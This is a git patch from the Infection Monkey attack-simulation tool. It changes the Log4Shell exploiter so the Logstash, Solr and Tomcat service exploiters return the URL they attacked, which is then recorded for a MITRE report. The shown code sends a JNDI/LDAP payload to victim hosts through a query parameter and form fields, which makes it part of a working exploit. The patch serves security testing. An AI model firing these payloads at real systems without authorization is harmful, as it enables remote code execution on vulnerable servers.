From 189505a97db6ce09a717785f0ce33068c06ea539 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 21 Jan 2022 15:32:08 +0200 Subject: [PATCH] Agent: add vulnerable log4shell url's Url's are used in mitre report --- monkey/infection_monkey/exploit/log4shell.py | 3 ++- .../log4shell_utils/service_exploiters/i_service_exploiter.py | 3 ++- .../exploit/log4shell_utils/service_exploiters/logstash.py | 4 +++- .../exploit/log4shell_utils/service_exploiters/solr.py | 2 ++ .../exploit/log4shell_utils/service_exploiters/tomcat.py | 4 +++- 5 files changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index bd0e468f9..de2d2ace2 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -143,7 +143,7 @@ class Log4ShellExploiter(WebRCE): for exploit in get_log4shell_service_exploiters(): for port in self._open_ports: try: - exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) + url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as ex: logger.warning( "An error occurred while attempting to exploit log4shell on a " @@ -155,6 +155,7 @@ class Log4ShellExploiter(WebRCE): "service_name": exploit.service_name, "port": port, } + self.exploit_info["vulnerable_urls"].append(url) return True return False diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py index 963925e4d..3d7951d76 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py @@ -12,5 +12,6 @@ class IServiceExploiter(metaclass=abc.ABCMeta): @staticmethod @abc.abstractmethod - def trigger_exploit(payload: str, host: VictimHost, port: int): + def trigger_exploit(payload: str, host: VictimHost, port: int) -> str: + # Return the URL the exploit was attempted on raise NotImplementedError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py index ae0f93608..d347a0e4f 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -15,6 +15,8 @@ class LogStashExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}" try: - resp = requests.get(url, timeout=5, verify=False) # noqa DUO123 + requests.get(url, timeout=5, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") + + return url diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 930c6092c..a21d66a3a 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -18,3 +18,5 @@ class SolrExploit(IServiceExploiter): requests.post(url, timeout=5, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") + + return url diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py index 018896207..68e0cfdf9 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -16,6 +16,8 @@ class TomcatExploit(IServiceExploiter): url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample" payload = {"dataname": "foo", "datavalue": payload} try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") + + return url